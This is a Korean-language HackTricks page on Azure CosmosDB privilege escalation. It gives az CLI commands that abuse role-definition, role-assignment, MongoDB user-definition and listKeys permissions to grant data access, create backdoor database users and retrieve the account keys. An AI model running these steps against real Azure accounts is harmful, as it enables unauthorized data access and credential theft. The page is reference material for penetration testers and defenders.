Az - CosmosDB Privesc

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

CosmosDB Privesc

SQL Database에 대한 자세한 정보는 다음을 확인하세요:

Az - CosmosDB

(Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write, Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read) & (Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write, Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read)

이 권한을 사용하면 사용자가 쿼리를 실행하고 데이터베이스에 연결할 수 있는 권한을 부여하여 권한 상승을 할 수 있습니다. 먼저 필요한 권한과 범위를 부여하는 역할 정의가 생성됩니다.

bash
az cosmosdb sql role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<Random-Unique-ID>", # For example 12345678-1234-1234-1234-123456789az
"RoleName": "CustomReadRole",
"Type": "CustomRole",
"AssignableScopes": [
"/subscriptions/<subscription_id>/resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/<account_name>"
],
"Permissions": [
{
"DataActions": [
"Microsoft.DocumentDB/databaseAccounts/readMetadata",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*"
]
}
]
}'

그 후 정의의 할당이 사용자에게 주어집니다. 이후 해당 사용자는 DefaultAzureCredential() 연결 방법을 사용하여 쿼리를 실행할 수 있습니다.

bash
az cosmosdb sql role assignment create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--role-definition-id <Random-Unique-ID-used-in-definition> \
--principal-id <principal_id-togive-perms> \
--scope "/"

(Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write && Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read)&& (Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write && Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read)

이 권한을 사용하면 Azure Cosmos DB 계정 내에서 새로운 MongoDB 역할 정의를 생성할 수 있습니다. 이를 통해 MongoDB 사용자에 대한 특정 권한을 가진 사용자 정의 역할을 정의할 수 있습니다. 이를 사용하려면 RBAC 기능이 활성화되어 있어야 합니다.

bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'

Azure Cosmos DB 계정 내에서 새로운 MongoDB 사용자 정의를 생성할 수 있습니다. 이를 통해 특정 역할과 MongoDB 데이터베이스에 대한 액세스를 가진 사용자를 프로비저닝할 수 있습니다.

bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "<myUser>",
"Password": "<mySecurePassword>",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'

그 후 MongoDB 내에 새 사용자가 생성되면, 우리는 그것에 접근할 수 있습니다:

bash
mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"

Microsoft.DocumentDB/databaseAccounts/listKeys/action

이 권한을 사용하면 Azure Cosmos DB 계정의 기본 및 보조 키를 검색할 수 있습니다. 이러한 키는 데이터베이스 계정 및 해당 리소스에 대한 전체 액세스를 제공하며, 데이터 읽기, 쓰기 및 구성 변경과 같은 작업을 가능하게 합니다.

bash
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기